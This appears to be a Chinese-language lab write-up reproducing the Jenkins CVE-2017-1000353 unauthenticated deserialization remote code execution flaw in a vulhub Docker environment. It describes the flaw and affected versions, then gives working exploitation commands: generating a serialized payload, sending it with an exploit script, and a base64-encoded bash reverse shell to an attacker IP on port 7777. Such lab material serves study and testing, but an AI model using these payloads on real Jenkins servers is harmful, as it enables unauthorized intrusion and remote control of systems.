一、环境搭建:
进入镜像目录:
cd vulhub/jenkins/CVE-2017-1000353
启动环境:
docker-compose up -d
访问8080端口
二、漏洞描述:
Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。
影响版本:
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS均受到影响(包括<=2.46.1版本)
三、漏洞复现:
下载利用脚本:https://github.com/vulhub/CVE-2017-1000353
1、生成ser二进制利用文件(注意和java版本有关系,我在kali下生成的ser文件可成功利用,在win10的java版本失败了):
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "touch /tmp/123"
会在tmp目录下创建123文件
2、利用exp发送payload:
python3 exploit.py http://targetip:8080 poc.ser(刚才生成的poc.ser文件,放在同一目录下)
payload发送成功结果:
成功创建:
直接反弹shell:
bash -i >& /dev/tcp/192.168.136.129/7777 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
生成ser:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNi4xMjkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
同样和上面一样,使用exp脚本发送poc.ser
kali监听端口,即可接收到反弹shell
后续会继续更新关于Jenkins的漏洞复现,敬请期待!